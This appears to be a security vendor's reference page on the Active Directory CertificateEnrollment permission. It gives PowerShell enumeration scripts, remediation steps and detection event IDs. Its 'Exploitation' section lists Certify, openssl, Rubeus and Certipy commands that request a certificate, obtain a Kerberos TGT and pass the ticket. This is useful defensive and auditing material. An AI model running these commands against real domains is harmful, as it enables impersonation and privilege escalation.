CertificateEnrollment

Summary

FSProtect ACL Alias

CertificateEnrollment

Affected Object Types

Certificate Templates

Exploitation Certainty

Certain

AD Permission Guid

0e10c968-78fb-11d2-90d4-00c04f79dc55

Description

The CertificateEnrollment permission in Active Directory allows an account to request and enroll for digital certificates from an Enterprise Certification Authority (CA). This permission is essential for establishing secure authentication and encrypted communications across the network. Certificates are used to validate identities, secure email communication, enable VPN access, and support code signing. By automating the certificate enrollment process, administrators can ensure that both users and devices receive the appropriate credentials necessary for maintaining a robust Public Key Infrastructure (PKI).

However, if misconfigured or granted to untrusted accounts, the CertificateEnrollment permission can introduce significant security risks. An attacker who obtains this permission may enroll for certificates without proper authorization, thereby acquiring valid, trusted credentials that can be used to impersonate network services. This can enable man-in-the-middle attacks, signing of malicious code, or decryption of confidential communications. Unauthorized certificates can be used to bypass security controls, escalate privileges, and maintain persistent access within the network.

Identification

PowerShell

Active Directory Module

Using the Active Directory PowerShell module, you can enumerate objects that have the CertificateEnrollment permission.

1. Find-CertificateEnrollment function

function Find-CertificateEnrollment {
    [CmdletBinding()]
    param ( [string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "CertificateEnrollment.csv", [switch]$ExcludeAdmins = $false)
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Gathering Active Directory Certificate Templates and inspecting ACLs for explicit 'Certificate Enrollment' permissions..."
    # Access control type (Allow)
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
    # Active Directory Rights of Access Control Entry (ExtendedRight)
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight;
    # GUID of Certificate Enrollment permission
    $CertificateEnrollmentGuid = "0e10c968-78fb-11d2-90d4-00c04f79dc55";
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        $ExcludedSIDs += (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SYSTEM").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SELF").Translate([System.Security.Principal.SecurityIdentifier]),  (New-Object System.Security.Principal.NTAccount "BUILTIN\Account Operators").Translate([System.Security.Principal.SecurityIdentifier]), (New-Object System.Security.Principal.NTAccount "BUILTIN\Administrators").Translate([System.Security.Principal.SecurityIdentifier]),  (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS").Translate([System.Security.Principal.SecurityIdentifier])
        try {
            $ExcludedSIDs += (Get-ADGroup -Identity "Domain Admins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Schema Admins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "Cert Publishers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Group Policy Creator Owners").SID ;$ExcludedSIDs += (Get-ADGroup -Identity "Domain Controllers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Key Admins").SID ;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Key Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "DnsAdmins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "RAS and IAS Servers").SID
        }
        catch {  Write-Warning "Could not resolve one or more default domain admin groups (e.g., Domain Admins, Enterprise Admins, Schema Admins). They might not be filtered from results." }
    }
    $foundAcls = @()
    $objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for permissions on specific object: '$Target'."
            $specificObject = Get-ADObject -Identity $Target -Properties nTSecurityDescriptor -ErrorAction Stop
            if ($specificObject) {
                $objectsToScan += $specificObject
            } else {
                Write-Output "Object '$Target' not found."
                return
            }
        } else {
            $configNC = (Get-ADRootDSE).ConfigurationNamingContext
            $adObjectParams = @{
                Filter    = "ObjectClass -eq 'pKICertificateTemplate'"
                Properties = "nTSecurityDescriptor"
                ErrorAction = "Stop"
            }
            if ($SearchBase) {
                $adObjectParams.Add("SearchBase", $SearchBase)
                Write-Host "Searching for certificate templates within '$SearchBase'."
            } else {
                $adObjectParams.Add("SearchBase", $configNC)
                Write-Host "Searching for all certificate templates in the Configuration Naming Context."
            }
            $objectsToScan = Get-ADObject @adObjectParams
        }
        if (-not $objectsToScan) {
            Write-Output "No Active Directory Certificate Templates found matching the criteria."
            return
        }
        foreach ($obj in $objectsToScan) {
            $ObjectDistinguishedName = $obj.DistinguishedName;
            try {
                $acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
                foreach ($ace in $acl.Access) {
                    $isExcluded = $false
                    if ($ExcludeAdmins) {
                        try {
                            if ($ExcludedSIDs -contains $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])) {
                                $isExcluded = $true
                            }
                        }
                        catch {
                            Write-Warning "Could not translate SID for exclusion check: $($ace.IdentityReference.Value). Error: $($_.Exception.Message)"
                        }
                    }
                    if ($ace.AccessControlType -eq $AccessControlType -and
                        ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and # Use -band for bitwise comparison
                        ($ace.ObjectType -eq $CertificateEnrollmentGuid) -and
                        -not $ace.IsInherited -and
                        -not $isExcluded) { # Apply exclusion filter

                        # Add the found entry to the results array
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Template' = $ObjectDistinguishedName
                            'Internal Threat'     = $ace.IdentityReference.Value # Get the string representation
                        }
                    }
                }
            }
            catch {  Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)" }
        }
    }
    catch {
        Write-Error "Failed to retrieve Active Directory Certificate Templates: $($_.Exception.Message)"
        return
    }
    if ($foundAcls.Count -gt 0) {
        $exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Host "Found $($foundAcls.Count) Active Directory certificate template(s) with explicit 'Certificate Enrollment' permissions$exclusionMessage."
        try {
            $foundAcls | Sort-Object -Unique 'Vulnerable Template', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    } else {
        $exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Output "No Active Directory certificate template(s) found with explicit 'Certificate Enrollment' permissions$exclusionMessage."
    }
}

2. Scan all templates in the domain

Find-CertificateEnrollment

3. Scan a specific template

Find-CertificateEnrollment -Target "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs"

4. To exclude default admin ACLs to improve visibility

Find-CertificateEnrollment -ExcludeAdmins

.NET Directory Services

You can also enumerate CertificateEnrollment entries using PowerShell's .NET System.DirectoryServices APIs without the Active Directory module.

1. Find-CertificateEnrollmentSimple function

function Find-CertificateEnrollmentSimple {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "CertificateEnrollment.csv",[switch]$ExcludeAdmins = $false)
    $CertificateEnrollmentGuid = [guid]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
    $ExtendedRight = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $excludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Verbose "Resolving SIDs for exclusion..."
        $accountsToExclude = @(
            "NT AUTHORITY\SYSTEM", "NT AUTHORITY\SELF","BUILTIN\Account Operators", "BUILTIN\Administrators","NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS","Domain Admins","Enterprise Admins", "Schema Admins","Cert Publishers",
            "Group Policy Creator Owners", "Domain Controllers", "Key Admins", "Enterprise Key Admins", "Enterprise Read-only Domain Controllers","RAS and IAS Servers")
        foreach ($name in $accountsToExclude) {
            try {
                $sid = (New-Object System.Security.Principal.NTAccount($name)).Translate([System.Security.Principal.SecurityIdentifier])
                $excludedSIDs += $sid
            }
            catch {   Write-Warning "Failed to translate SID for $name" }
        }
    }
    $templates = @()
    if ($Target) {
        Write-Verbose "Binding directly to target object: $Target"
        try {
            $templates = @([ADSI]"LDAP://$Target")
        } catch {
            Write-Error "Failed to bind to $Target : $_"
            return
        }
    }
    else {
        $root = [ADSI]"LDAP://RootDSE"
        $configNC = $root.Properties["configurationNamingContext"][0]
        $searchBase = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$configNC" }
        $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$searchBase)
        $searcher.Filter = "(objectClass=pKICertificateTemplate)"
        $searcher.PageSize = 500
        $searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
        $results = $searcher.FindAll()
        foreach ($res in $results) {
            try {
                $entry = $res.GetDirectoryEntry()
                $templates += $entry
            }
            catch {  Write-Warning "Could not bind to entry: $_" }
        }
    }
    $found = @()
    foreach ($template in $templates) {
        $dn = $template.Properties["distinguishedName"][0]
        Write-Verbose "Processing: $dn"
        try {
            $acl = $template.ObjectSecurity
            $aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
        } catch {
            Write-Warning "Failed to get ACL from $dn"
            continue
        }
        foreach ($ace in $aces) {
            if (
                $ace.AccessControlType -eq $Allow -and
                ($ace.ActiveDirectoryRights -band $ExtendedRight) -and
                $ace.ObjectType -eq $CertificateEnrollmentGuid -and
                -not $ace.IsInherited
            ) {
                if ($ExcludeAdmins -and ($excludedSIDs -contains $ace.IdentityReference)) {
                    continue
                }
                $who = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value}
                $found += [PSCustomObject]@{
                    'Vulnerable Template' = $dn
                    'Internal Threat'     = $who
                }
            }
        }
    }
    if ($found.Count -gt 0) {
        $found | Sort-Object -Unique 'Vulnerable Template', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
    } else {  Write-Host "No certificate templates with 'Certificate Enrollment' rights found."}
}

2. Scan all templates in the domain

Find-CertificateEnrollmentSimple

3. Scan a specific template in the domain

Find-CertificateEnrollmentSimple -Target "CN=Workstation,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forestall,DC=labs"

4. To exclude default admin accounts for better visibility

Find-CertificateEnrollmentSimple -ExcludeAdmins

Certification Authority (GUI)

To review or change certificate template permissions using the Certification Authority management console:

1. Open Certification Authority (certsrv) on your Windows server.

2. Expand the CA and right-click Certificate Templates".

3. Select Manage from the context menu.

4. In the Certificate Templates console, double-click the template you want to inspect.

5. In the template Properties dialog, go to the Security tab.

6. Select the ACE (user or group) you want to modify.

7. In the permissions list, check or uncheck the Enroll option as appropriate.

8. Click OK to save your changes.

Exploitation

This permission can be exploited on Windows with tools such as Certify and Rubeus, and on Linux with tools such as Certipy. See the tool project pages for their usage and options: Certify, Rubeus, Certipy.

Windows

An attacker with the appropriate CertificateEnrollment permission can request a certificate using Certify:

.\Certify.exe request /ca:<CA DNS Name>\<CA Name> /template:<Vulnerable Template>

Example:

.\Certify.exe request /ca:sdca01.fslab.local\forestallCA /template:User

After obtaining a certificate, an attacker may convert it to PFX and request a TGT.

openssl.exe pkcs12 -in <Pem file> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx

Example:

openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out .\cert.pfx

Then, using Rubeus, an attacker can request a TGT with the certificate and optionally pass-the-ticket (PTT):

.\Rubeus.exe asktgt /user:<Username> /certificate:cert.pfx /ptt

Example:

.\Rubeus.exe asktgt /user:elena.davis /certificate:cert.pfx /ptt

Rubeus outputs the TGT (typically in .kirbi format) which can then be used for lateral movement or persistence.

Linux

On Linux, an attacker can request a certificate and produce a PFX using Certipy. Example:

certipy req -ca forestallCA -target sdca01.fslab.local -dc-ip 192.168.231.61 -template "User" -username '[email protected]' -p 'Test123.!'

Mitigation

1. Review certificate template permissions and remove the "Enroll" permission from unauthorized users and groups.

2. Use least-privilege principles when assigning the CertificateEnrollment permission.

3. Restrict who can manage certificate templates (Domain Admins, Cert Publishers, and other required roles only).

4. Monitor changes to ntSecurityDescriptor and template permissions (see Detection below).

To change permissions using the Certification Authority console, follow the steps in the "Certification Authority (GUI)" section above.

Detection

Adding or modifying Access Control Entries (ACEs) on Active Directory objects changes their ntSecurityDescriptor attribute. These changes and certificate requests can be monitored using the following events:

Event ID
Description
Fields / Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

4886

Certificate Services received a certificate request.

CertificateTemplate, Requester

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)

4887

Certificate Services approved a certificate request and issued a certificate.

CertificateTemplate, Requester

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)

References

Last updated

Was this helpful?